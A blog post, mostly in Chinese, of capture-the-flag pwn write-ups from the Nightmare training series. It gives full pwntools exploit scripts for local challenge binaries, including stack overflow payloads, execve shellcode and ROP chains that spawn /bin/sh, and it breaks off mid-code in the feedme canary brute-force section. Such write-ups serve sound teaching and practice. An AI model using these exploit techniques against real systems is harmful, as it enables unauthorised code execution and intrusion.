Write-ups: Nightmare series

更新于 Aug 5, 2024 | 07:32 AM # Pwn # Write-ups

Open Table of contents

CSAW 2019 beleaf
- Information
- Description
- Write-up
- Exploit
- Flag
CSAW 2018 Quals Boi
- Information
- Description
- Write-up
- Exploit
- Flag
TAMU 2019 pwn1
- Information
- Description
- Write-up
- Exploit
- Flag
Tokyo Westerns CTF 3rd 2017 JustDoIt
- Information
- Description
- Write-up
- Exploit
- Flag
CSAW 2016 Quals Warmup
- Information
- Description
- Write-up
- Exploit
- Flag
CSAW Quals 2018 Get It
- Information
- Description
- Write-up
- Exploit
- Flag
TUCTF 2017 vulnchat
- Information
- Description
- Write-up
- Exploit
- Flag
CSAW 2017 pilot
- Information
- Description
- Write-up
- Exploit
- Flag
TAMU 2019 pwn3
- Information
- Description
- Write-up
- Exploit
- Flag
TUCTF 2018 shella-easy
- Information
- Description
- Write-up
- Exploit
- Flag
Boston Key Part 2016 Simple Calc
- Information
- Description
- Write-up
- Exploit
- Flag
DEFCON Quals 2019 Speedrun1
- Information
- Description
- Write-up
- Exploit
- Flag
DEFCON Quals 2016 feedme
- Information
- Description
- Write-up
- Exploit
- Flag

CSAW 2019 beleaf

Description

tree sounds are best listened to by https://binary.ninja/demo or ghidra

Write-up

简单运行一下程序：

1
λ ~/ ./beleaf
2
Enter the flag
3
>>> i dont have the fucking flag
4
Incorrect!

一些基本信息：

1
λ ~/ file beleaf
2
beleaf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped

大概可以推测出我们的目标就是弄到一个正确的 flag。

丢到 IDA 里发现，输入长度小于等于 32 (0x20) 会输出 Incorrect!，所以 flag 长度起码 33 字节。

接下来进入一个简单的 for 循环，将我们输入的每一个字符逐一放到 calc_idx 函数中，并将返回值与 valid_arr[i] 比较，如果不等于 valid_arr[i] 则输出 Incorrect!。如果所有字符都通过了验证，则输出 Correct!

再看看 calc_idx 函数，大致可以看出它的作用是根据传入的字符查找它在 charset 中对应的索引。

calc_idx 的核心如下：

character == charset[i] 则返回索引 i
character >= charset[i] 则设置索引为 i = 2 * (i + 1)
否则设置索引为 i = 2 * i + 1

因此我们构造 flag 的关键条件就是：

flag 长度 >= 33
calc_idx(input[i]) == valid_arr[i]

Exploit

1
#!/usr/bin/python3
2

3
import sys
4

5
valid_arr = [
6
    0x01, 0x09, 0x11, 0x27, 0x02,
7
    0x00, 0x12, 0x03, 0x08, 0x12,
8
    0x09, 0x12, 0x11, 0x01, 0x03,
9
    0x13, 0x04, 0x03, 0x05, 0x15,
10
    0x2E, 0x0A, 0x03, 0x0A, 0x12,
11
    0x03, 0x01, 0x2E, 0x16, 0x2E,
12
    0x0A, 0x12, 0x06
13
]
14

15
charset = [
16
    0x00000077, 0x00000066, 0x0000007B, 0x0000005F, 0x0000006E,
17
    0x00000079, 0x0000007D, 0xFFFFFFFF, 0x00000062, 0x0000006C,
18
    0x00000072, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
19
    0xFFFFFFFF, 0xFFFFFFFF, 0x00000061, 0x00000065, 0x00000069,
20
    0xFFFFFFFF, 0x0000006F, 0x00000074, 0xFFFFFFFF, 0xFFFFFFFF,
21
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
22
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
23
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x00000067,
24
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
25
    0xFFFFFFFF, 0x00000075
26
]
27

28
def create_charset():
29
    result = ''
30

31
    for c in charset:
32
        try:
33
            result += chr(c)
34
        except OverflowError:
35
            continue
36

37
    return result
38

39
def checker(char):
40
    i = 0
41
    while char != charset[i]:
42
        if char >= charset[i]:
43
            i = 2 * (i + 1)
44
        else:
45
            i = 2 * i + 1
46
    return i
47

48
def main():
49
    charset = create_charset()
50

51
    i = 0
52
    while (i < 33):
53
        for c in charset:
54
            if checker(ord(c)) == valid_arr[i]:
55
                sys.stdout.write(c)
56
        i += 1
57

58
if __name__ == '__main__':
59
    main()

Flag

Flag: flag{we_beleaf_in_your_re_future}

CSAW 2018 Quals Boi

Write-up

1
λ ~/ file boi
2
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
3
λ ~/ pwn checksec boi
4
[*] '/home/cub3y0nd/boi'
5
    Arch:     amd64-64-little
6
    RELRO:    Partial RELRO
7
    Stack:    Canary found
8
    NX:       NX enabled
9
    PIE:      No PIE (0x400000)

试运行一下，发现它只是输出系统时间：

1
λ ~/ ./boi
2
Are you a big boiiiii??
3
aaaa
4
Thu Jul 25 05:35:00 PM CST 2024

从 IDA 里面可以看出，程序可以将一个 24 (0x18) 字节数据读入 buf 中。如果 v5 的 HIDWORD（高位四字节）等于 0xCAF3BAEE 则返回 shell，否则返回系统时间。

所以我们的思路就是溢出，然后覆盖原始数据。

下面是两种得到溢出点的方法：

由于 buf 只有 16 字节大小（2 * __int64），而 read 却可以读取 24 字节数据，所以这里存在栈溢出漏洞，可以覆盖变量 v5 的内容。所以 payload 可以是 16（填满 buf） + 4（填满 4 字节低位使后面的数据可以直接覆盖高位数据，也就是做判断的部分）字节垃圾数据 + 0xCAF3BAEE。
通过调试知道溢出点是 20 (0x14)：

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(os='linux', arch='amd64', log_level='debug', terminal='kitty')
6

7
target = process('./boi')
8

9
payload = b'A' * 0x14 + p32(0xcaf3baee)
10

11
target.send(payload)
12
target.interactive()

Flag

Flag: flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}

Tokyo Westerns CTF 3rd 2017 JustDoIt

Write-up

1
λ ~/ file just_do_it
2
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
3
λ ~/ pwn checksec just_do_it
4
[*] '/home/cub3y0nd/just_do_it'
5
    Arch:     i386-32-little
6
    RELRO:    Partial RELRO
7
    Stack:    No canary found
8
    NX:       NX enabled
9
    PIE:      No PIE (0x8048000)

1
λ ~/ ./just_do_it
2
Welcome my secret service. Do you know the password?
3
Input the password.
4
aaaa
5
Invalid Password, Try Again!

可能是要获得密码打印 flag，丢到 IDA 看看：

看伪代码发现，就算提供了正确的密码也只是输出一条消息而已，得到密码好像并没有什么用。这就是一个障眼法！

虽然不需要密码，但是如果你好奇密码的话，也不是不行… 通过 IDA 我们知道密码是 P@SSW0RD，于是乎：

这里即使有了正确的密码还是提示密码错误的原因是 fgets 函数会把换行符也读进去。所以我们只需要在密码后面加上空字符 \0 就可以去掉换行符了。

扯远了…

通过之前的伪代码可以发现，fgets 接收的输入大小远超 input 可容纳的大小。因此通过调试可以知道溢出 padding 是 20 字节：

那么有了溢出 padding 后怎么获取 flag 呢？

由伪代码知，它会从 stream 里面读取 48 字节的数据，保存到 flag 变量里面。那么我们如果可以直接输出 flag 就好了。这里有一个思路是利用之前的溢出漏洞，将 input 填满后把 flag 变量的地址溢出给 v6，这就会导致 puts 输出 flag 变量的内容。perfect 移花接木

嗯…这样就很清晰了。通过 IDA 直接看 flag 在 .bss 中的地址：

当然，如果你想验证它是不是真我们所想覆盖了 v6 让 puts 输出 flag 的内容：

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(os='linux', arch='amd64', log_level='debug', terminal='kitty')
6

7
target = process('./just_do_it')
8

9
payload = b'A' * 0x14 + p32(0x0804A080)
10

11
target.sendline(payload)
12
target.interactive()

CSAW 2017 pilot

Write-up

1
λ ~/ file pilot
2
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
3
λ ~/ pwn checksec pilot
4
[*] '/home/cub3y0nd/pilot'
5
    Arch:     amd64-64-little
6
    RELRO:    Partial RELRO
7
    Stack:    No canary found
8
    NX:       NX unknown - GNU_STACK missing
9
    PIE:      No PIE (0x400000)
10
    Stack:    Executable
11
    RWX:      Has RWX segments

1
λ ~/ ./pilot
2
[*]Welcome DropShip Pilot...
3
[*]I am your assitant A.I....
4
[*]I will be guiding you through the tutorial....
5
[*]As a first step, lets learn how to land at the designated location....
6
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
7
[*]Good Luck Pilot!....
8
[*]Location:0x7ffdaefb40d0
9
[*]Command:self-destruct

伪代码如下：

可以看到除了 main 函数之外就没有别的函数了，那就不是 ret2win 题型。

接收的输入大于 buf 的大小，存在栈溢出漏洞。由于栈可执行，我们可以尝试运行 shellcode 来 get shell。

在栈中安排 shellcode 的布局如下：因为程序给出了 buf 的地址，所以我们可以将 shellcode 插在 buf 的头部，然后填满 buf 的剩余空间，最后将 buf 的起始地址溢出到 ret 就实现了执行 shellcode 的逻辑。

这里有一个现成的 shellcode 网站。

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(os='linux', arch='amd64', log_level='debug', terminal='kitty')
6

7
target = process('./pilot')
8

9
recvline    = lambda : target.recvline()
10
recvuntil   = lambda str : target.recvuntil(str)
11
sendline    = lambda str : target.sendline(str)
12
interactive = lambda : target.interactive()
13

14
recvuntil(b':')
15
leak_addr = p64(int(recvline(), 16))
16

17
shellcode = b'\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05'
18
payload = shellcode + b'A' * (0x28 - len(shellcode)) + leak_addr
19

20
sendline(payload)
21
interactive()

Flag

Flag: flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}

Boston Key Part 2016 Simple Calc

Write-up

1
λ ~/ file simplecalc
2
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
3
λ ~/ pwn checksec simplecalc
4
[*] '/home/cub3y0nd/simplecalc'
5
    Arch:     amd64-64-little
6
    RELRO:    Partial RELRO
7
    Stack:    No canary found
8
    NX:       NX enabled
9
    PIE:      No PIE (0x400000)

1
λ ~/ ./simplecalc
2

3
 |#------------------------------------#|
4
 |         Something Calculator         |
5
 |#------------------------------------#|
6

7
Expected number of calculations: 100
8
Options Menu:
9
 [1] Addition.
10
 [2] Subtraction.
11
 [3] Multiplication.
12
 [4] Division.
13
 [5] Save and Exit.
14
=> 1
15
Integer x: 200
16
Integer y: 200
17
Result for x + y is 400.
18

19
Options Menu:
20
 [1] Addition.
21
 [2] Subtraction.
22
 [3] Multiplication.
23
 [4] Division.
24
 [5] Save and Exit.
25
=> 5
26
zsh: segmentation fault (core dumped)  ./simplecalc

伪代码如下：

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  int v3; // edx
4
  int v4; // ecx
5
  int v5; // r8d
6
  int v6; // r9d
7
  int *v7; // rsi
8
  int v8; // edx
9
  int v9; // ecx
10
  int v10; // r8d
11
  int v11; // r9d
12
  const char *v13; // rdi
13
  _DWORD *v14; // rdx
14
  int v15; // ecx
15
  int v16; // r8d
16
  int v17; // r9d
17
  int v18; // edx
18
  int v19; // ecx
19
  int v20; // r8d
20
  int v21; // r9d
21
  int v22; // edx
22
  int v23; // ecx
23
  int v24; // r8d
24
  int v25; // r9d
25
  char v26[40]; // [rsp+10h] [rbp-40h] BYREF
26
  int v27; // [rsp+38h] [rbp-18h] BYREF
27
  int v28; // [rsp+3Ch] [rbp-14h] BYREF
28
  __int64 v29; // [rsp+40h] [rbp-10h]
29
  int i; // [rsp+4Ch] [rbp-4h]
30

31
  v28 = 0;
32
  setvbuf(stdin, 0LL, 2LL, 0LL);
33
  setvbuf(stdout, 0LL, 2LL, 0LL);
34
  print_motd();
35
  printf((unsigned int)"Expected number of calculations: ", 0, v3, v4, v5, v6);
36
  v7 = &v28;
37
  _isoc99_scanf((unsigned int)"%d", (unsigned int)&v28, v8, v9, v10, v11);
38
  handle_newline();
39
  if ( v28 <= 255 && v28 > 3 )
40
  {
41
    v13 = (const char *)(4 * v28);
42
    v29 = malloc(v13);
43
    for ( i = 0; i < v28; ++i )
44
    {
45
      print_menu((__int64)v13, (int)v7, (int)v14, v15, v16, v17);
46
      v7 = &v27;
47
      v13 = "%d";
48
      _isoc99_scanf((unsigned int)"%d", (unsigned int)&v27, v18, v19, v20, v21);
49
      handle_newline();
50
      switch ( v27 )
51
      {
52
        case 1:
53
          adds((__int64)"%d", (int)&v27, v22, v23, v24, v25);
54
          v14 = (_DWORD *)(v29 + 4LL * i);
55
          *v14 = dword_6C4A88;
56
          break;
57
        case 2:
58
          subs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
59
          v14 = (_DWORD *)(v29 + 4LL * i);
60
          *v14 = dword_6C4AB8;
61
          break;
62
        case 3:
63
          muls((__int64)"%d", (int)&v27, v22, v23, v24, v25);
64
          v14 = (_DWORD *)(v29 + 4LL * i);
65
          *v14 = dword_6C4AA8;
66
          break;
67
        case 4:
68
          divs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
69
          v14 = (_DWORD *)(v29 + 4LL * i);
70
          *v14 = dword_6C4A98;
71
          break;
72
        case 5:
73
          memcpy(v26, v29, 4 * v28);
74
          free(v29);
75
          return 0;
76
        default:
77
          v13 = "Invalid option.\n";
78
          puts("Invalid option.\n");
79
          break;
80
      }
81
    }
82
    free(v29);
83
    return 0;
84
  }
85
  else
86
  {
87
    puts("Invalid number.");
88
    return 0;
89
  }
90
}

它先问我们要一个预期计算次数，保存在 v28 中，若 v28 大于 3 且小于等于 255 则继续执行下面的控制流。接下来给 v29 分配了 4 * v28 的大小，然后进入计算器界面，根据 v27 拿到的输入选项执行不同的计算函数。比如 adds 的伪代码：

1
__int64 __fastcall adds(__int64 a1, int a2, int a3, int a4, int a5, int a6)
2
{
3
  int v6; // edx
4
  int v7; // ecx
5
  int v8; // r8d
6
  int v9; // r9d
7
  int v10; // edx
8
  int v11; // ecx
9
  int v12; // r8d
10
  int v13; // r9d
11
  int v14; // edx
12
  int v15; // ecx
13
  int v16; // r8d
14
  int v17; // r9d
15
  int v18; // ecx
16
  int v19; // r8d
17
  int v20; // r9d
18

19
  printf((unsigned int)"Integer x: ", a2, a3, a4, a5, a6);
20
  _isoc99_scanf((unsigned int)"%d", (unsigned int)&add, v6, v7, v8, v9);
21
  handle_newline();
22
  printf((unsigned int)"Integer y: ", (unsigned int)&add, v10, v11, v12, v13);
23
  _isoc99_scanf((unsigned int)"%d", (unsigned int)&dword_6C4A84, v14, v15, v16, v17);
24
  handle_newline();
25
  if ( (unsigned int)add <= 0x27 || (unsigned int)dword_6C4A84 <= 0x27 )
26
  {
27
    puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
28
    exit(0xFFFFFFFFLL);
29
  }
30
  dword_6C4A88 = add + dword_6C4A84;
31
  return printf((unsigned int)"Result for x + y is %d.\n\n", add + dword_6C4A84, add, v18, v19, v20);
32
}

这个函数从输入流获取两个参数 x 和 y，分别保存在 &add 和 &dword_6C4A84 处。然后判断这两个参数中任意一个是否小于等于 0x27(39D)，如果满足则退出，否则将结果保存在 dword_6C4A88，并输出结果。最后程序将在 v29 中开辟一小块空间将我们的计算结果放进去。

剩下几个计算函数的伪代码形式都差不多，就不展示了。

这里重点在选项 5 存在溢出问题。执行选项 5，程序用 memcpy 将从 v29 开始的 4 * v28 大小内容复制到 v26。但是看 v26 的定义可知，它只有 40 Bytes 的容量。这使我们有足够的空间为所欲为 xD

所以我们的思路大致是这样：构造一个执行 /bin/sh 的 ROP Chain。由于程序最后会把我们的所有计算结果复制到栈上，所以构造方法是通过程序的计算功能算出各个 gadget 的地址。

需要注意的是 memcpy 之后有一个 free 会清除我们的栈，为了绕过，我们可以给 free 赋 0。

so，先来看看溢出点：

1
pwndbg> b *main+450
2
Breakpoint 1 at 0x401545
3
pwndbg> r
4
Starting program: /home/cub3y0nd/Projects/CTF/simplecalc
5

6
 |#------------------------------------#|
7
 |         Something Calculator         |
8
 |#------------------------------------#|
9

10
Expected number of calculations: 100
11
Options Menu:
12
 [1] Addition.
13
 [2] Subtraction.
14
 [3] Multiplication.
15
 [4] Division.
16
 [5] Save and Exit.
17
=> 5
18

19
Breakpoint 1, 0x0000000000401545 in main ()
20
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
21
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
22
*RAX  0x7fffffffe3c0 ◂— 0x1
23
*RBX  0x4002b0 (_init) ◂— sub rsp, 8
24
*RCX  0x6c8bd0 ◂— 0x0
25
*RDX  0x190
26
*RDI  0x7fffffffe3c0 ◂— 0x1
27
*RSI  0x6c8bd0 ◂— 0x0
28
*R8   0x6c6880 ◂— 0x6c6880
29
 R9   0x0
30
*R10  0x5
31
 R11  0x0
32
 R12  0x0
33
*R13  0x401c00 (__libc_csu_init) ◂— push r14
34
*R14  0x401c90 (__libc_csu_fini) ◂— push rbx
35
 R15  0x0
36
*RBP  0x7fffffffe400 —▸ 0x6c1018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x42f230 (__stpcpy_ssse3) ◂— mov rcx, rsi
37
*RSP  0x7fffffffe3b0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— '/home/cub3y0nd/Projects/CTF/simplecalc'
38
*RIP  0x401545 (main+450) ◂— call 4228d0h
39
───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────
40
 ► 0x401545 <main+450>    call   4228d0h                       <memcpy>
41
        dest: 0x7fffffffe3c0 ◂— 0x1
42
        src: 0x6c8bd0 ◂— 0x0
43
        n: 0x190
44

45
   0x40154a <main+455>    mov    rax, qword ptr [rbp - 10h]
46
   0x40154e <main+459>    mov    rdi, rax
47
   0x401551 <main+462>    call   4156d0h                       <free>
48

49
   0x401556 <main+467>    mov    eax, 0
50
   0x40155b <main+472>    jmp    401588h                       <main+517>
51

52
   0x40155d <main+474>    mov    edi, 494402h
53
   0x401562 <main+479>    call   408de0h                       <puts>
54

55
   0x401567 <main+484>    add    dword ptr [rbp - 4], 1
56
   0x40156b <main+488>    mov    eax, dword ptr [rbp - 14h]
57
   0x40156e <main+491>    cmp    dword ptr [rbp - 4], eax
58
────────────────────────────────────[ STACK ]─────────────────────────────────────
59
00:0000│ rsp     0x7fffffffe3b0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— '/home/cub3y0nd/Projects/CTF/simplecalc'
60
01:0008│-048     0x7fffffffe3b8 ◂— 0x100400e45
61
02:0010│ rax rdi 0x7fffffffe3c0 ◂— 0x1
62
03:0018│-038     0x7fffffffe3c8 ◂— 0x1
63
04:0020│-030     0x7fffffffe3d0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— '/home/cub3y0nd/Projects/CTF/simplecalc'
64
05:0028│-028     0x7fffffffe3d8 —▸ 0x401c77 (__libc_csu_init+119) ◂— add rbx, 1
65
06:0030│-020     0x7fffffffe3e0 —▸ 0x4002b0 (_init) ◂— sub rsp, 8
66
07:0038│-018     0x7fffffffe3e8 ◂— 0x6400000005
67
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
68
 ► 0         0x401545 main+450
69
   1         0x40176c __libc_start_main+476
70
   2         0x400f77 _start+41
71
──────────────────────────────────────────────────────────────────────────────────
72
pwndbg> i f
73
Stack level 0, frame at 0x7fffffffe410:
74
 rip = 0x401545 in main; saved rip = 0x40176c
75
 called by frame at 0x7fffffffe4d0
76
 Arglist at 0x7fffffffe400, args:
77
 Locals at 0x7fffffffe400, Previous frame's sp is 0x7fffffffe410
78
 Saved registers:
79
  rbp at 0x7fffffffe400, rip at 0x7fffffffe408
80
pwndbg> distance 0x7fffffffe3c0 0x7fffffffe408
81
0x7fffffffe3c0->0x7fffffffe408 is 0x48 bytes (0x9 words)

可以看到目标地址距离 rip 是 0x48(72D) Bytes，也就是 18 个 int。为了不让程序执行到 free 的时候崩溃，我们可以使前 18 个计算结果为 0。

接下来就是如何构造 ROP Chain 了。我们的目标是执行 /bin/sh，所以可以通过调用 execve() 来实现。

查 syscall table 可知要让 syscall 执行 execve() 需要把 rax 设为 59(0x3b)。此外，根据 execve 的定义知道它还有三个参数需要满足：int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]); 第一个参数是 pathname，这里我们需要放 /bin/sh 的地址，剩下两个参数我们用不上，直接置 0 即可。

那么根据调用约定，execve 的三个参数依次分别存放在 rdi、rsi、rdx 中。

所以我们的 ROP Chain 应该长这样：

1
pop rdi ; ret
2
/bin/sh\0
3
pop rsi ; ret
4
0
5
pop rdx ; ret
6
0
7
pop rax ; ret
8
0x3b
9
syscall

但实际上这样会出问题，问题就是不能通过 pop 把 /bin/sh 字符串传入，这样传会被认为是指令而不是数据。所以我们需要通过 mov 指令来实现传入 /bin/sh：

1
mov rdi, rsp
2
/bin/sh\0
3
pop rsi ; ret
4
0
5
pop rdx ; ret
6
0
7
pop rax ; ret
8
0x3b
9
syscall

通过 ROPgadget 我们可以找到这些 gadget 的地址：

1
0x0000000000400493 : pop r12 ; ret
2
0x0000000000492468 : mov rdi, rsp ; call r12
3
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
4
0x000000000044db34 : pop rax ; ret
5
0x0000000000400488 : syscall

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(
6
    os='linux',
7
    arch='amd64',
8
    log_level='debug',
9
    terminal='kitty',
10
    binary=ELF('./simplecalc')
11
)
12

13
target = process()
14

15
recvline      = lambda : target.recvline()
16
recvuntil     = lambda str : target.recvuntil(str)
17
sendline      = lambda str : target.sendline(str)
18
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
19
interactive   = lambda : target.interactive()
20

21
def add(x, y):
22
    sendlineafter('=> ', '1')
23
    sendlineafter('x: ', str(x))
24
    sendlineafter('y: ', str(y))
25

26
def sub(x, y):
27
    sendlineafter('=> ', '2')
28
    sendlineafter('x: ', str(x))
29
    sendlineafter('y: ', str(y))
30

31
sendlineafter('Expected number of calculations: ', '100')
32

33
# padding for free(0)
34
for i in range(0, 18):
35
    sub(40, 40)
36

37
# pop rdx ; pop rsi ; ret
38
add(4422000, 313)
39
sub(40, 40)
40
sub(40, 40)
41
sub(40, 40)
42
sub(40, 40)
43
sub(40, 40)
44
# pop r12 ; ret
45
add(4195000, 475)
46
sub(40, 40)
47
# syscall
48
add(4195000, 464)
49
sub(40, 40)
50
# pop rax ; ret
51
add(4512000, 564)
52
sub(40, 40)
53
# 0x3b
54
sub(100, 41)
55
sub(40, 40)
56
# mov rdi, rsp ; call r12
57
add(4793000, 448)
58
sub(40, 40)
59
# /bin/sh\0
60
add(1852400000, 175)
61
add(6845000, 231)
62

63
sendlineafter('=> ', '5')
64
interactive()

Flag

Flag: BKPCTF{what_is_2015_minus_7547}

DEFCON Quals 2019 Speedrun1

Information

Category: Pwn
Points: 5

Description

The Fast and the Furious

Write-up

1
λ ~/ file speedrun-001
2
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
3
λ ~/ pwn checksec speedrun-001
4
[*] '/home/cub3y0nd/speedrun-001'
5
    Arch:     amd64-64-little
6
    RELRO:    Partial RELRO
7
    Stack:    No canary found
8
    NX:       NX enabled
9
    PIE:      No PIE (0x400000)

1
Hello brave new challenger
2
Any last words?
3
no
4
This will be the last thing that you say: no
5

6
Alas, you had no luck today.

看保护知道开了 NX，那可以试试构造 ROP Chain。

这里用典型的调用 execve() ROP。

/bin/sh 的话我放在了程序可读写的一段内存里，比如 006b6000 就很合适，因为是私有地址，也不会影响程序运行。

1
λ ~/ ./speedrun-001 &
2
[1] 21519
3
Hello brave new challenger
4
Any last words?
5
[1]  + suspended (tty input)  ./speedrun-001
6
λ ~/Projects/CTF/ cat /proc/21519/maps
7
00400000-004b6000 r-xp 00000000 103:07 19662851                          /home/cub3y0nd/Projects/CTF/speedrun-001
8
006b6000-006bc000 rw-p 000b6000 103:07 19662851                          /home/cub3y0nd/Projects/CTF/speedrun-001
9
006bc000-006bd000 rw-p 00000000 00:00 0
10
30bde000-30c01000 rw-p 00000000 00:00 0                                  [heap]
11
758b8d187000-758b8d18b000 r--p 00000000 00:00 0                          [vvar]
12
758b8d18b000-758b8d18d000 r-xp 00000000 00:00 0                          [vdso]
13
7fff62991000-7fff629b2000 rw-p 00000000 00:00 0                          [stack]
14
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
15
λ ~/ fg
16
[1]  + continued  ./speedrun-001
17
zsh: alarm      ./speedrun-001

溢出点的话，直接 cyclic 2000 怼上去就有了。

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(
6
    os='linux',
7
    arch='amd64',
8
    log_level='debug',
9
    terminal='kitty',
10
    binary=ELF('./speedrun-001')
11
)
12

13
target = process()
14

15
recvline      = lambda : target.recvline()
16
recvuntil     = lambda str : target.recvuntil(str)
17
sendline      = lambda str : target.sendline(str)
18
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
19
interactive   = lambda : target.interactive()
20

21
rop = ROP(context.binary)
22

23
POP_RAX = rop.find_gadget(['pop rax', 'ret'])[0]
24
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
25
POP_RSI = rop.find_gadget(['pop rsi', 'ret'])[0]
26
POP_RDX = rop.find_gadget(['pop rdx', 'ret'])[0]
27
SYSCALL = rop.find_gadget(['syscall'])[0]
28
BIN_SH = 0x68732f6e69622f
29

30
rop.raw(b'A' * 0x408)
31
rop.raw(POP_RAX)
32
rop.raw(0x6b6000)
33
rop.raw(POP_RDX)
34
rop.raw(BIN_SH)
35
# mov qword ptr [rax], rdx ; ret
36
rop.raw(0x48d251)
37
rop.raw(POP_RDI)
38
rop.raw(0x6b6000)
39
rop.raw(POP_RSI)
40
rop.raw(0x0)
41
rop.raw(POP_RDX)
42
rop.raw(0x0)
43
rop.raw(POP_RAX)
44
rop.raw(0x3b)
45
rop.raw(SYSCALL)
46

47
sendline(rop.chain())
48
interactive()

Flag

Flag: OOO{Ask any powner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}

DEFCON Quals 2016 feedme

Information

Category: Pwn
Points: 5

Description

Unknow

Write-up

1
λ ~/ file feedme
2
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
3
λ ~/ pwn checksec feedme
4
[*] '/home/cub3y0nd/feedme'
5
    Arch:     i386-32-little
6
    RELRO:    No RELRO
7
    Stack:    No canary found
8
    NX:       NX enabled
9
    PIE:      No PIE (0x8048000)

1
λ ~/Projects/CTF/ ./feedme
2
FEED ME!
3
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
4
ATE 70257025702570257025702570257025...
5
*** stack smashing detected ***: ./feedme terminated
6
Child exit.
7
FEED ME!
8
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
9
ATE 7025702570257025700a616161616161...
10
*** stack smashing detected ***: ./feedme terminated
11
Child exit.
12
FEED ME!
13
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
14
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
15
ATE 61616161616161616161616161616161...
16
*** stack smashing detected ***: ./feedme terminated
17
Child exit.
18
FEED ME!
19
^C

可以看到这个程序是有 canary 保护的，但是 checksec 没有查出来。并且不能通过格式化字符串漏洞泄漏 canary。

程序在每次触发 canary 之后都会终止并创建一个新进程，这么看大概是用了 fork() 函数。那么可以尝试 one by one 逐字节爆破 canary。

one by one 爆破的思想是利用 fork 函数来不断逐字节泄漏 canary。fork 函数的作用是通过系统调用创建一个与原来进程几乎完全相同的进程，这里的相同也包括 canary。当程序在 fork 中触发 canary 时，__stack_chk_fail 函数只能关闭 fork 函数所创建的进程，但不会让主进程退出，因此当有大量 fork 函数时，我们可以用它来逐字节泄漏 canary。

由于我们知道程序是 32-bit 的，所以 canary 是 0x4 Bytes，并且最后一个字节是 \x00，前三个字节随机，最多只要尝试 256 * 3 = 768 次。由此，爆破理论看上去是可行的，那就可以写爆破脚本了。

我们还知道程序开启了 NX 保护且没有 PIE，那泄漏 canary 之后我们多半需要构造 ROP Chain 来获得 shell。

下面分析程序功能。

伪代码：

从 main 函数来看，程序大概会执行 800 次 fork，大于我们的最差情况。

1
void sub_80490B0()
2
{
3
  unsigned __int8 v0; // al
4
  int v1; // [esp+10h] [ebp-18h] BYREF
5
  unsigned int i; // [esp+14h] [ebp-14h]
6
  int v3; // [esp+18h] [ebp-10h]
7
  int v4; // [esp+1Ch] [ebp-Ch]
8

9
  v1 = 0;
10
